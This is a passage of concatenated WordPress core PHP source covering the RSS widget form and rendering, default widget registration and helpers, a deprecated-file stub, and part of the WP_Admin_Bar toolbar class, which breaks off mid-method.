		unset( $rss );
		return;
	}

	echo '<ul>';
	foreach ( $rss->get_items( 0, $items ) as $item ) {
		$link = $item->get_link();
		while ( ! empty( $link ) && stristr( $link, 'http' ) !== $link ) {
			$link = substr( $link, 1 );
		}
		$link = esc_url( strip_tags( $link ) );

		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
		if ( empty( $title ) ) {
			$title = __( 'Untitled' );
		}

		$desc = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
		$desc = esc_attr( wp_trim_words( $desc, 55, ' [&hellip;]' ) );

		$summary = '';
		if ( $show_summary ) {
			$summary = $desc;

			// Change existing [...] to [&hellip;].
			if ( str_ends_with( $summary, '[...]' ) ) {
				$summary = substr( $summary, 0, -5 ) . '[&hellip;]';
			}

			$summary = '<div class="rssSummary">' . esc_html( $summary ) . '</div>';
		}

		$date = '';
		if ( $show_date ) {
			$date = $item->get_date( 'U' );

			if ( $date ) {
				$date = ' <span class="rss-date">' . date_i18n( get_option( 'date_format' ), $date ) . '</span>';
			}
		}

		$author = '';
		if ( $show_author ) {
			$author = $item->get_author();
			if ( is_object( $author ) ) {
				$author = $author->get_name();
				$author = ' <cite>' . esc_html( strip_tags( $author ) ) . '</cite>';
			}
		}

		if ( '' === $link ) {
			echo "<li>$title{$date}{$summary}{$author}</li>";
		} elseif ( $show_summary ) {
			echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$summary}{$author}</li>";
		} else {
			echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$author}</li>";
		}
	}
	echo '</ul>';
	$rss->__destruct();
	unset( $rss );
}

/**
 * Display RSS widget options form.
 *
 * The options for what fields are displayed for the RSS form are all booleans
 * and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author',
 * 'show_date'.
 *
 * @since 2.5.0
 *
 * @param array|string $args   Values for input fields.
 * @param array        $inputs Override default display options.
 */
function wp_widget_rss_form( $args, $inputs = null ) {
	$default_inputs = array(
		'url'          => true,
		'title'        => true,
		'items'        => true,
		'show_summary' => true,
		'show_author'  => true,
		'show_date'    => true,
	);
	$inputs         = wp_parse_args( $inputs, $default_inputs );

	$args['title'] = isset( $args['title'] ) ? $args['title'] : '';
	$args['url']   = isset( $args['url'] ) ? $args['url'] : '';
	$args['items'] = isset( $args['items'] ) ? (int) $args['items'] : 0;

	if ( $args['items'] < 1 || 20 < $args['items'] ) {
		$args['items'] = 10;
	}

	$args['show_summary'] = isset( $args['show_summary'] ) ? (int) $args['show_summary'] : (int) $inputs['show_summary'];
	$args['show_author']  = isset( $args['show_author'] ) ? (int) $args['show_author'] : (int) $inputs['show_author'];
	$args['show_date']    = isset( $args['show_date'] ) ? (int) $args['show_date'] : (int) $inputs['show_date'];

	if ( ! empty( $args['error'] ) ) {
		echo '<p class="widget-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $args['error'] ) . '</p>';
	}

	$esc_number = esc_attr( $args['number'] );
	if ( $inputs['url'] ) :
		?>
	<p><label for="rss-url-<?php echo $esc_number; ?>"><?php _e( 'Enter the RSS feed URL here:' ); ?></label>
	<input class="widefat" id="rss-url-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][url]" type="text" value="<?php echo esc_url( $args['url'] ); ?>" /></p>
<?php endif; if ( $inputs['title'] ) : ?>
	<p><label for="rss-title-<?php echo $esc_number; ?>"><?php _e( 'Give the feed a title (optional):' ); ?></label>
	<input class="widefat" id="rss-title-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][title]" type="text" value="<?php echo esc_attr( $args['title'] ); ?>" /></p>
<?php endif; if ( $inputs['items'] ) : ?>
	<p><label for="rss-items-<?php echo $esc_number; ?>"><?php _e( 'How many items would you like to display?' ); ?></label>
	<select id="rss-items-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][items]">
	<?php
	for ( $i = 1; $i <= 20; ++$i ) {
		echo "<option value='$i' " . selected( $args['items'], $i, false ) . ">$i</option>";
	}
	?>
	</select></p>
<?php endif; if ( $inputs['show_summary'] || $inputs['show_author'] || $inputs['show_date'] ) : ?>
	<p>
	<?php if ( $inputs['show_summary'] ) : ?>
		<input id="rss-show-summary-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_summary]" type="checkbox" value="1" <?php checked( $args['show_summary'] ); ?> />
		<label for="rss-show-summary-<?php echo $esc_number; ?>"><?php _e( 'Display item content?' ); ?></label><br />
	<?php endif; if ( $inputs['show_author'] ) : ?>
		<input id="rss-show-author-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_author]" type="checkbox" value="1" <?php checked( $args['show_author'] ); ?> />
		<label for="rss-show-author-<?php echo $esc_number; ?>"><?php _e( 'Display item author if available?' ); ?></label><br />
	<?php endif; if ( $inputs['show_date'] ) : ?>
		<input id="rss-show-date-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][show_date]" type="checkbox" value="1" <?php checked( $args['show_date'] ); ?>/>
		<label for="rss-show-date-<?php echo $esc_number; ?>"><?php _e( 'Display item date?' ); ?></label><br />
	<?php endif; ?>
	</p>
	<?php
	endif; // End of display options.
foreach ( array_keys( $default_inputs ) as $input ) :
	if ( 'hidden' === $inputs[ $input ] ) :
		$id = str_replace( '_', '-', $input );
		?>
<input type="hidden" id="rss-<?php echo esc_attr( $id ); ?>-<?php echo $esc_number; ?>" name="widget-rss[<?php echo $esc_number; ?>][<?php echo esc_attr( $input ); ?>]" value="<?php echo esc_attr( $args[ $input ] ); ?>" />
		<?php
	endif;
	endforeach;
}

/**
 * Process RSS feed widget data and optionally retrieve feed items.
 *
 * The feed widget can not have more than 20 items or it will reset back to the
 * default, which is 10.
 *
 * The resulting array has the feed title, feed url, feed link (from channel),
 * feed items, error (if any), and whether to show summary, author, and date.
 * All respectively in the order of the array elements.
 *
 * @since 2.5.0
 *
 * @param array $widget_rss RSS widget feed data. Expects unescaped data.
 * @param bool  $check_feed Optional. Whether to check feed for errors. Default true.
 * @return array
 */
function wp_widget_rss_process( $widget_rss, $check_feed = true ) {
	$items = (int) $widget_rss['items'];
	if ( $items < 1 || 20 < $items ) {
		$items = 10;
	}
	$url          = sanitize_url( strip_tags( $widget_rss['url'] ) );
	$title        = isset( $widget_rss['title'] ) ? trim( strip_tags( $widget_rss['title'] ) ) : '';
	$show_summary = isset( $widget_rss['show_summary'] ) ? (int) $widget_rss['show_summary'] : 0;
	$show_author  = isset( $widget_rss['show_author'] ) ? (int) $widget_rss['show_author'] : 0;
	$show_date    = isset( $widget_rss['show_date'] ) ? (int) $widget_rss['show_date'] : 0;
	$error        = false;
	$link         = '';

	if ( $check_feed ) {
		$rss = fetch_feed( $url );

		if ( is_wp_error( $rss ) ) {
			$error = $rss->get_error_message();
		} else {
			$link = esc_url( strip_tags( $rss->get_permalink() ) );
			while ( stristr( $link, 'http' ) !== $link ) {
				$link = substr( $link, 1 );
			}

			$rss->__destruct();
			unset( $rss );
		}
	}

	return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' );
}

/**
 * Registers all of the default WordPress widgets on startup.
 *
 * Calls {@see 'widgets_init'} action after all of the WordPress widgets have been registered.
 *
 * @since 2.2.0
 */
function wp_widgets_init() {
	if ( ! is_blog_installed() ) {
		return;
	}

	register_widget( 'WP_Widget_Pages' );

	register_widget( 'WP_Widget_Calendar' );

	register_widget( 'WP_Widget_Archives' );

	if ( get_option( 'link_manager_enabled' ) ) {
		register_widget( 'WP_Widget_Links' );
	}

	register_widget( 'WP_Widget_Media_Audio' );

	register_widget( 'WP_Widget_Media_Image' );

	register_widget( 'WP_Widget_Media_Gallery' );

	register_widget( 'WP_Widget_Media_Video' );

	register_widget( 'WP_Widget_Meta' );

	register_widget( 'WP_Widget_Search' );

	register_widget( 'WP_Widget_Text' );

	register_widget( 'WP_Widget_Categories' );

	register_widget( 'WP_Widget_Recent_Posts' );

	register_widget( 'WP_Widget_Recent_Comments' );

	register_widget( 'WP_Widget_RSS' );

	register_widget( 'WP_Widget_Tag_Cloud' );

	register_widget( 'WP_Nav_Menu_Widget' );

	register_widget( 'WP_Widget_Custom_HTML' );

	register_widget( 'WP_Widget_Block' );

	/**
	 * Fires after all default WordPress widgets have been registered.
	 *
	 * @since 2.2.0
	 */
	do_action( 'widgets_init' );
}

/**
 * Enables the widgets block editor. This is hooked into 'after_setup_theme' so
 * that the block editor is enabled by default but can be disabled by themes.
 *
 * @since 5.8.0
 *
 * @access private
 */
function wp_setup_widgets_block_editor() {
	add_theme_support( 'widgets-block-editor' );
}

/**
 * Whether or not to use the block editor to manage widgets. Defaults to true
 * unless a theme has removed support for widgets-block-editor or a plugin has
 * filtered the return value of this function.
 *
 * @since 5.8.0
 *
 * @return bool Whether to use the block editor to manage widgets.
 */
function wp_use_widgets_block_editor() {
	/**
	 * Filters whether to use the block editor to manage widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $use_widgets_block_editor Whether to use the block editor to manage widgets.
	 */
	return apply_filters(
		'use_widgets_block_editor',
		get_theme_support( 'widgets-block-editor' )
	);
}

/**
 * Converts a widget ID into its id_base and number components.
 *
 * @since 5.8.0
 *
 * @param string $id Widget ID.
 * @return array Array containing a widget's id_base and number components.
 */
function wp_parse_widget_id( $id ) {
	$parsed = array();

	if ( preg_match( '/^(.+)-(\d+)$/', $id, $matches ) ) {
		$parsed['id_base'] = $matches[1];
		$parsed['number']  = (int) $matches[2];
	} else {
		// Likely an old single widget.
		$parsed['id_base'] = $id;
	}

	return $parsed;
}

/**
 * Finds the sidebar that a given widget belongs to.
 *
 * @since 5.8.0
 *
 * @param string $widget_id The widget ID to look for.
 * @return string|null The found sidebar's ID, or null if it was not found.
 */
function wp_find_widgets_sidebar( $widget_id ) {
	foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
		foreach ( $widget_ids as $maybe_widget_id ) {
			if ( $maybe_widget_id === $widget_id ) {
				return (string) $sidebar_id;
			}
		}
	}

	return null;
}

/**
 * Assigns a widget to the given sidebar.
 *
 * @since 5.8.0
 *
 * @param string $widget_id  The widget ID to assign.
 * @param string $sidebar_id The sidebar ID to assign to. If empty, the widget won't be added to any sidebar.
 */
function wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ) {
	$sidebars = wp_get_sidebars_widgets();

	foreach ( $sidebars as $maybe_sidebar_id => $widgets ) {
		foreach ( $widgets as $i => $maybe_widget_id ) {
			if ( $widget_id === $maybe_widget_id && $sidebar_id !== $maybe_sidebar_id ) {
				unset( $sidebars[ $maybe_sidebar_id ][ $i ] );
				// We could technically break 2 here, but continue looping in case the ID is duplicated.
				continue 2;
			}
		}
	}

	if ( $sidebar_id ) {
		$sidebars[ $sidebar_id ][] = $widget_id;
	}

	wp_set_sidebars_widgets( $sidebars );
}

/**
 * Calls the render callback of a widget and returns the output.
 *
 * @since 5.8.0
 *
 * @global array $wp_registered_widgets  The registered widgets.
 * @global array $wp_registered_sidebars The registered sidebars.
 *
 * @param string $widget_id Widget ID.
 * @param string $sidebar_id Sidebar ID.
 * @return string
 */
function wp_render_widget( $widget_id, $sidebar_id ) {
	global $wp_registered_widgets, $wp_registered_sidebars;

	if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
		return '';
	}

	if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) {
		$sidebar = $wp_registered_sidebars[ $sidebar_id ];
	} elseif ( 'wp_inactive_widgets' === $sidebar_id ) {
		$sidebar = array();
	} else {
		return '';
	}

	$params = array_merge(
		array(
			array_merge(
				$sidebar,
				array(
					'widget_id'   => $widget_id,
					'widget_name' => $wp_registered_widgets[ $widget_id ]['name'],
				)
			),
		),
		(array) $wp_registered_widgets[ $widget_id ]['params']
	);

	// Substitute HTML `id` and `class` attributes into `before_widget`.
	$classname_ = '';
	foreach ( (array) $wp_registered_widgets[ $widget_id ]['classname'] as $cn ) {
		if ( is_string( $cn ) ) {
			$classname_ .= '_' . $cn;
		} elseif ( is_object( $cn ) ) {
			$classname_ .= '_' . get_class( $cn );
		}
	}
	$classname_                 = ltrim( $classname_, '_' );
	$params[0]['before_widget'] = sprintf( $params[0]['before_widget'], $widget_id, $classname_ );

	/** This filter is documented in wp-includes/widgets.php */
	$params = apply_filters( 'dynamic_sidebar_params', $params );

	$callback = $wp_registered_widgets[ $widget_id ]['callback'];

	ob_start();

	/** This filter is documented in wp-includes/widgets.php */
	do_action( 'dynamic_sidebar', $wp_registered_widgets[ $widget_id ] );

	if ( is_callable( $callback ) ) {
		call_user_func_array( $callback, $params );
	}

	return ob_get_clean();
}

/**
 * Calls the control callback of a widget and returns the output.
 *
 * @since 5.8.0
 *
 * @global array $wp_registered_widget_controls The registered widget controls.
 *
 * @param string $id Widget ID.
 * @return string|null
 */
function wp_render_widget_control( $id ) {
	global $wp_registered_widget_controls;

	if ( ! isset( $wp_registered_widget_controls[ $id ]['callback'] ) ) {
		return null;
	}

	$callback = $wp_registered_widget_controls[ $id ]['callback'];
	$params   = $wp_registered_widget_controls[ $id ]['params'];

	ob_start();

	if ( is_callable( $callback ) ) {
		call_user_func_array( $callback, $params );
	}

	return ob_get_clean();
}

/**
 * Displays a _doing_it_wrong() message for conflicting widget editor scripts.
 *
 * The 'wp-editor' script module is exposed as window.wp.editor. This overrides
 * the legacy TinyMCE editor module which is required by the widgets editor.
 * Because of that conflict, these two shouldn't be enqueued together.
 * See https://core.trac.wordpress.org/ticket/53569.
 *
 * There is also another conflict related to styles where the block widgets
 * editor is hidden if a block enqueues 'wp-edit-post' stylesheet.
 * See https://core.trac.wordpress.org/ticket/53569.
 *
 * @since 5.8.0
 * @access private
 *
 * @global WP_Scripts $wp_scripts
 * @global WP_Styles  $wp_styles
 */
function wp_check_widget_editor_deps() {
	global $wp_scripts, $wp_styles;

	if (
		$wp_scripts->query( 'wp-edit-widgets', 'enqueued' ) ||
		$wp_scripts->query( 'wp-customize-widgets', 'enqueued' )
	) {
		if ( $wp_scripts->query( 'wp-editor', 'enqueued' ) ) {
			_doing_it_wrong(
				'wp_enqueue_script()',
				sprintf(
					/* translators: 1: 'wp-editor', 2: 'wp-edit-widgets', 3: 'wp-customize-widgets'. */
					__( '"%1$s" script should not be enqueued together with the new widgets editor (%2$s or %3$s).' ),
					'wp-editor',
					'wp-edit-widgets',
					'wp-customize-widgets'
				),
				'5.8.0'
			);
		}
		if ( $wp_styles->query( 'wp-edit-post', 'enqueued' ) ) {
			_doing_it_wrong(
				'wp_enqueue_style()',
				sprintf(
					/* translators: 1: 'wp-edit-post', 2: 'wp-edit-widgets', 3: 'wp-customize-widgets'. */
					__( '"%1$s" style should not be enqueued together with the new widgets editor (%2$s or %3$s).' ),
					'wp-edit-post',
					'wp-edit-widgets',
					'wp-customize-widgets'
				),
				'5.8.0'
			);
		}
	}
}

/**
 * Registers the previous theme's sidebars for the block themes.
 *
 * @since 6.2.0
 * @access private
 *
 * @global array $wp_registered_sidebars The registered sidebars.
 */
function _wp_block_theme_register_classic_sidebars() {
	global $wp_registered_sidebars;

	if ( ! wp_is_block_theme() ) {
		return;
	}

	$classic_sidebars = get_theme_mod( 'wp_classic_sidebars' );
	if ( empty( $classic_sidebars ) ) {
		return;
	}

	// Don't use `register_sidebar` since it will enable the `widgets` support for a theme.
	foreach ( $classic_sidebars as $sidebar ) {
		$wp_registered_sidebars[ $sidebar['id'] ] = $sidebar;
	}
}
<?php
/**
 * Deprecated. No longer needed.
 *
 * @package WordPress
 * @deprecated 2.1.0
 */

_deprecated_file( basename( __FILE__ ), '2.1.0', '', __( 'This file no longer needs to be included.' ) );
<?php
/**
 * Toolbar API: WP_Admin_Bar class
 *
 * @package WordPress
 * @subpackage Toolbar
 * @since 3.1.0
 */

/**
 * Core class used to implement the Toolbar API.
 *
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_Admin_Bar {
	private $nodes = array();
	private $bound = false;
	public $user;

	/**
	 * Deprecated menu property.
	 *
	 * @since 3.1.0
	 * @deprecated 3.3.0 Modify admin bar nodes with WP_Admin_Bar::get_node(),
	 *                   WP_Admin_Bar::add_node(), and WP_Admin_Bar::remove_node().
	 * @var array
	 */
	public $menu = array();

	/**
	 * Initializes the admin bar.
	 *
	 * @since 3.1.0
	 */
	public function initialize() {
		$this->user = new stdClass();

		if ( is_user_logged_in() ) {
			/* Populate settings we need for the menu based on the current user. */
			$this->user->blogs = get_blogs_of_user( get_current_user_id() );
			if ( is_multisite() ) {
				$this->user->active_blog    = get_active_blog_for_user( get_current_user_id() );
				$this->user->domain         = empty( $this->user->active_blog ) ? user_admin_url() : trailingslashit( get_home_url( $this->user->active_blog->blog_id ) );
				$this->user->account_domain = $this->user->domain;
			} else {
				$this->user->active_blog    = $this->user->blogs[ get_current_blog_id() ];
				$this->user->domain         = trailingslashit( home_url() );
				$this->user->account_domain = $this->user->domain;
			}
		}

		add_action( 'wp_head', 'wp_admin_bar_header' );

		add_action( 'admin_head', 'wp_admin_bar_header' );

		if ( current_theme_supports( 'admin-bar' ) ) {
			/**
			 * To remove the default padding styles from WordPress for the Toolbar, use the following code:
			 * add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) );
			 */
			$admin_bar_args  = get_theme_support( 'admin-bar' );
			$header_callback = $admin_bar_args[0]['callback'];
		}

		if ( empty( $header_callback ) ) {
			$header_callback = '_admin_bar_bump_cb';
		}

		add_action( 'wp_head', $header_callback );

		wp_enqueue_script( 'admin-bar' );
		wp_enqueue_style( 'admin-bar' );

		/**
		 * Fires after WP_Admin_Bar is initialized.
		 *
		 * @since 3.1.0
		 */
		do_action( 'admin_bar_init' );
	}

	/**
	 * Adds a node (menu item) to the admin bar menu.
	 *
	 * @since 3.3.0
	 *
	 * @param array $node The attributes that define the node.
	 */
	public function add_menu( $node ) {
		$this->add_node( $node );
	}

	/**
	 * Removes a node from the admin bar.
	 *
	 * @since 3.1.0
	 *
	 * @param string $id The menu slug to remove.
	 */
	public function remove_menu( $id ) {
		$this->remove_node( $id );
	}

	/**
	 * Adds a node to the menu.
	 *
	 * @since 3.1.0
	 * @since 4.5.0 Added the ability to pass 'lang' and 'dir' meta data.
	 * @since 6.5.0 Added the ability to pass 'menu_title' for an ARIA menu name.
	 *
	 * @param array $args {
	 *     Arguments for adding a node.
	 *
	 *     @type string $id     ID of the item.
	 *     @type string $title  Title of the node.
	 *     @type string $parent Optional. ID of the parent node.
	 *     @type string $href   Optional. Link for the item.
	 *     @type bool   $group  Optional. Whether or not the node is a group. Default false.
	 *     @type array  $meta   Meta data including the following keys: 'html', 'class', 'rel', 'lang', 'dir',
	 *                          'onclick', 'target', 'title', 'tabindex', 'menu_title'. Default empty.
	 * }
	 */
	public function add_node( $args ) {
		// Shim for old method signature: add_node( $parent_id, $menu_obj, $args ).
		if ( func_num_args() >= 3 && is_string( $args ) ) {
			$args = array_merge( array( 'parent' => $args ), func_get_arg( 2 ) );
		}

		if ( is_object( $args ) ) {
			$args = get_object_vars( $args );
		}

		// Ensure we have a valid title.
		if ( empty( $args['id'] ) ) {
			if ( empty( $args['title'] ) ) {
				return;
			}

			_doing_it_wrong( __METHOD__, __( 'The menu ID should not be empty.' ), '3.3.0' );
			// Deprecated: Generate an ID from the title.
			$args['id'] = esc_attr( sanitize_title( trim( $args['title'] ) ) );
		}

		$defaults = array(
			'id'     => false,
			'title'  => false,
			'parent' => false,
			'href'   => false,
			'group'  => false,
			'meta'   => array(),
		);

		// If the node already exists, keep any data that isn't provided.
		$maybe_defaults = $this->get_node( $args['id'] );
		if ( $maybe_defaults ) {
			$defaults = get_object_vars( $maybe_defaults );
		}

		// Do the same for 'meta' items.
		if ( ! empty( $defaults['meta'] ) && ! empty( $args['meta'] ) ) {
			$args['meta'] = wp_parse_args( $args['meta'], $defaults['meta'] );
		}

		$args = wp_parse_args( $args, $defaults );

		$back_compat_parents = array(
			'my-account-with-avatar' => array( 'my-account', '3.3' ),
			'my-blogs'               => array( 'my-sites', '3.3' ),
		);

		if ( isset( $back_compat_parents[ $args['parent'] ] ) ) {
			list( $new_parent, $version ) = $back_compat_parents[ $args['parent'] ];
			_deprecated_argument( __METHOD__, $version, sprintf( 'Use <code>%s</code> as the parent for the <code>%s</code> admin bar node instead of <code>%s</code>.', $new_parent, $args['id'], $args['parent'] ) );
			$args['parent'] = $new_parent;
		}

		$this->_set_node( $args );
	}

	/**
	 * @since 3.3.0
	 *
	 * @param array $args
	 */
	final protected function _set_node( $args ) {
		$this->nodes[ $args['id'] ] = (object) $args;
	}

	/**
	 * Gets a node.
	 *
	 * @since 3.3.0
	 *
	 * @param string $id
	 * @return object|void Node.
	 */
	final public function get_node( $id ) {
		$node = $this->_get_node( $id );
		if ( $node ) {
			return clone $node;
		}
	}

	/**
	 * @since 3.3.0
	 *
	 * @param string $id
	 * @return object|void
	 */
	final protected function _get_node( $id ) {
		if ( $this->bound ) {
			return;
		}

		if ( empty( $id ) ) {
			$id = 'root';
		}

		if ( isset( $this->nodes[ $id ] ) ) {
			return $this->nodes[ $id ];
		}
	}

	/**
	 * @since 3.3.0
	 *
	 * @return array|void
	 */
	final public function get_nodes() {
		$nodes = $this->_get_nodes();
		if ( ! $nodes ) {
			return;
		}

		foreach ( $nodes as &$node ) {
			$node = clone $node;
		}
		return $nodes;
	}

	/**
	 * @since 3.3.0
	 *
	 * @return array|void
	 */
	final protected function _get_nodes() {
		if ( $this->bound ) {
			return;
		}

		return $this->nodes;
	}

	/**
	 * Adds a group to a toolbar menu node.
	 *
	 * Groups can be used to organize toolbar items into distinct sections of a toolbar menu.
	 *
	 * @since 3.3.0
	 *
	 * @param array $args {
	 *     Array of arguments for adding a group.
	 *
	 *     @type string $id     ID of the item.
	 *     @type string $parent Optional. ID of the parent node. Default 'root'.
	 *     @type array  $meta   Meta data for the group including the following keys:
	 *                         'class', 'onclick', 'target', and 'title'.
	 * }
	 */
	final public function add_group( $args ) {
		$args['group'] = true;

		$this->add_node( $args );
	}

	/**
	 * Remove a node.
	 *
	 * @since 3.1.0
	 *
	 * @param string $id The ID of the item.
	 */
	public function remove_node( $id ) {
		$this->_unset_node( $id );
	}

	/**
	 * @since 3.3.0
	 *
	 * @param string $id
	 */
	final protected function _unset_node( $id ) {
		unset( $this->nodes[ $id ] );
	}

	/**
	 * @since 3.1.0
	 */
	public function render() {
		$root = $this->_bind();
		if ( $root ) {
			$this->_render( $root );
		}
	}

	/**
	 * @since 3.3.0
	 *
	 * @return object|void
	 */
	final protected function _bind() {
		if ( $this->bound ) {
			return;
		}

		/*
		 * Add the root node.
		 * Clear it first, just in case. Don't mess with The Root.
		 */
		$this->remove_node( 'root' );
		$this->add_node(
			array(
				'id'    => 'root',
				'group' => false,
			)
		);

		// Normalize nodes: define internal 'children' and 'type' properties.
		foreach ( $this->_get_nodes() as $node ) {
			$node->children = array();
			$node->type     = ( $node->group ) ? 'group' : 'item';
			unset( $node->group );

			// The Root wants your orphans. No lonely items allowed.
			if ( ! $node->parent ) {
				$node->parent = 'root';
			}
		}

		foreach ( $this->_get_nodes() as $node ) {
			if ( 'root' === $node->id ) {
				continue;
			}

			// Fetch the parent node. If it isn't registered, ignore the node.
			$parent = $this->_get_node( $node->parent );
			if ( ! $parent ) {
				continue;
			}

			// Generate the group class (we distinguish between top level and other level groups).
			$group_class = ( 'root' === $node->parent ) ? 'ab-top-menu' : 'ab-submenu';

			if ( 'group' === $node->type ) {
				if ( empty( $node->meta['class'] ) ) {
					$node->meta['class'] = $group_class;
				} else {
					$node->meta['class'] .= ' ' . $group_class;
				}
			}

			// Items in items aren't allowed. Wrap nested items in 'default' groups.
			if ( 'item' === $parent->type && 'item' === $node->type ) {
				$default_id = $parent->id . '-default';
				$default    = $this->_get_node( $default_id );

				/*
				 * The default group is added here to allow groups that are
				 * added before standard menu items to render first.
				 */
				if ( ! $default ) {
					/*
					 * Use _set_node because add_node can be overloaded.
					 * Make sure to specify default settings for all properties.
					 */
					$this->_set_node(
						array(
							'id'       => $default_id,
							'parent'   => $parent->id,
							'type'     => 'group',
							'children' => array(),
							'meta'     => array(
								'class' => $group_class,
							),
							'title'    => false,
							'href'     => false,
						)
					);
					$default            = $this->_get_node( $default_id );
					$parent->children[] = $default;
				}
				$parent = $default;

				/*
				 * Groups in groups aren't allowed. Add a special 'container' node.
				 * The container will invisibly wrap both groups.
				 */
			} elseif ( 'group' === $parent->type && 'group' === $node->type ) {
				$container_id = $parent->id . '-container';
				$container    = $this->_get_node( $container_id );

				// We need to create a container for this group, life is sad.
				if ( ! $container ) {
					/*
					 * Use _set_node because add_node can be overloaded.
					 * Make sure to specify default settings for all properties.
					 */
					$this->_set_node(
						array(
							'id'       => $container_id,
							'type'     => 'container',
							'children' => array( $parent ),
							'parent'   => false,
							'title'    => false,
							'href'     => false,
							'meta'     => array(),
						)
					);

					$container = $this->_get_node( $container_id );

					// Link the container node if a grandparent node exists.
					$grandparent = $this->_get_node( $parent->parent );

					if ( $grandparent ) {
						$container->parent = $grandparent->id;

						$index = array_search( $parent, $grandparent->children, true );
						if ( false === $index ) {
							$grandparent->children[] = $container;
						} else {
							array_splice( $grandparent->children, $index, 1, array( $container ) );
						}
					}

					$parent->parent = $container->id;
				}

				$parent = $container;
			}

			// Update the parent ID (it might have changed).
			$node->parent = $parent->id;

			// Add the node to the tree.
			$parent->children[] = $node;
		}

		$root        = $this->_get_node( 'root' );
		$this->bound = true;
		return $root;
	}

	/**
	 * @since 3.3.0
	 *
	 * @param object $root
	 */
	final protected function _render( $root ) {
		/*
		 * Add browser classes.
		 * We have to do this here since admin bar shows on the front end.
		 */
		$class = 'nojq nojs';
		if ( wp_is_mobile() ) {
			$class .= ' mobile';
		}

		?>
		<div id="wpadminbar" class="<?php echo $class; ?>">
			<?php if ( ! is_admin() && ! did_action( 'wp_body_open' ) ) { ?>
				<a class="screen-reader-shortcut" href="#wp-toolbar" tabindex="1"><?php _e( 'Skip to toolbar' ); ?></a>
			<?php } ?>
			<div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="<?php esc_attr_e( 'Toolbar' ); ?>">
				<?php
				foreach ( $root->children as $group ) {
					$this->_render_group( $group );
				}
				?>
			</div>
		</div>

		<?php
	}

	/**
	 * @since 3.3.0
	 *
	 * @param object $node
	 */
	final protected function _render_container( $node ) {
		if ( 'container' !== $node->type || empty( $node->children ) ) {
			return;
		}

		echo '<div id="' . esc_attr( 'wp-admin-bar-' . $node->id ) . '" class="ab-group-container">';
		foreach ( $node->children as $group ) {
			$this->_render_group( $group );
		}
		echo '</div>';
	}

	/**
	 * @since 3.3.0
	 * @since 6.5.0 Added `$menu_title` parameter to allow an ARIA menu name.
	 *
	 * @param object $node
	 * @param string|bool $menu_title The accessible name of this ARIA menu or false if not provided.
	 */
	final protected function _render_group( $node, $menu_title = false ) {
		if ( 'container' === $node->type ) {
			$this->_render_container( $node );
			return;
		}
		if ( 'group' !== $node->type || empty( $node->children ) ) {
			return;
		}

		if ( ! empty( $node->meta['class'] ) ) {
			$class = ' class="' . esc_attr( trim( $node->meta['class'] ) ) . '"';
		} else {
			$class = '';
		}

		if ( empty( $menu_title ) ) {
			echo "<ul role='menu' id='" . esc_attr( 'wp-admin-bar-' . $node->id ) . "'$class>";
		} else {
			echo "<ul role='menu' aria-label='" . esc_attr( $menu_title ) . "' id='" . esc_attr( 'wp-admin-bar-' . $node->id ) . "'$class>";
		}
		foreach ( $node->children as $item ) {
			$this->_render_item( $item );
		}
		echo '</ul>';
	}

	/**
	 * @since 3.3.0
	 *
	 * @param object $node
	 */
	final protected function _render_item( $node ) {
		if ( 'item' !== $node->type ) {
			return;
		}

		$is_parent             = ! empty( $node->children );
		$has_link              = ! empty( $node->href );
		$is_root_top_item      = 'root-default' === $node->parent;
		$is_top_secondary_item = 'top-secondary' === $node->parent;

		// Allow only numeric values, then casted to integers, and allow a tabindex value of `0` for a11y.
		$tabindex         = ( isset( $node->meta['tabindex'] ) && is_numeric( $node->meta['tabindex'] ) ) ? (int) $node->meta['tabindex'] : '';
		$aria_attributes  = ( '' !== $tabindex ) ? ' tabindex="' . $tabindex . '"' : '';
		$aria_attributes .= ' role="menuitem"';

		$menuclass = '';
		$arrow     = '';

		if ( $is_parent ) {
			$menuclass        = 'menupop ';
			$aria_attributes .= ' aria-expanded="false"';
		}

		if ( ! empty( $node->meta['class'] ) ) {
			$menuclass .= $node->meta['class'];
		}

		// Print the arrow icon for the menu children with children.
		if ( ! $is_root_top_item && ! $is_top_secondary_item && $is_parent ) {
			$arrow = '<span class="wp-admin-bar-arrow" aria-hidden="true"></span>';
		}

		if ( $menuclass ) {
			$menuclass = ' class="' . esc_attr( trim( $menuclass ) ) . '"';
		}

		echo "<li id='" . esc_attr( 'wp-admin-bar-' . $node->id ) . "'$menuclass>";

		if ( $has_link ) {
			$attributes = array( 'onclick', 'target', 'title', 'rel', 'lang', 'dir' );
			echo "<a class='ab-item'$aria_attributes href='" . esc_url( $node->href ) . "'";
		} else {
			$attributes = array( 'onclick', 'target', 'title', 'rel', 'lang', 'dir' );
			echo '<div class="ab-item ab-empty-item"' . $aria_attributes;
		}

		foreach ( $attributes as $attribute ) {
			if ( empty( $node->meta[ $attribute ] ) ) {
				continue;
			}

			if ( 'onclick' === $attribute ) {
				echo " $attribute='" . esc_js( $node->meta[ $attribute ] ) . "'";
			} else {
				echo " $attribute='" . esc_attr( $node->meta[ $attribute ] ) . "'";
			}
		}

		echo ">{$arrow}{$node->title}";

		if ( $has_link ) {
			echo '</a>';
		} else {
			echo '</div>';
		}

		if ( $is_parent ) {
			echo '<div class="ab-sub-wrapper">';
			foreach ( $node->children as $group ) {
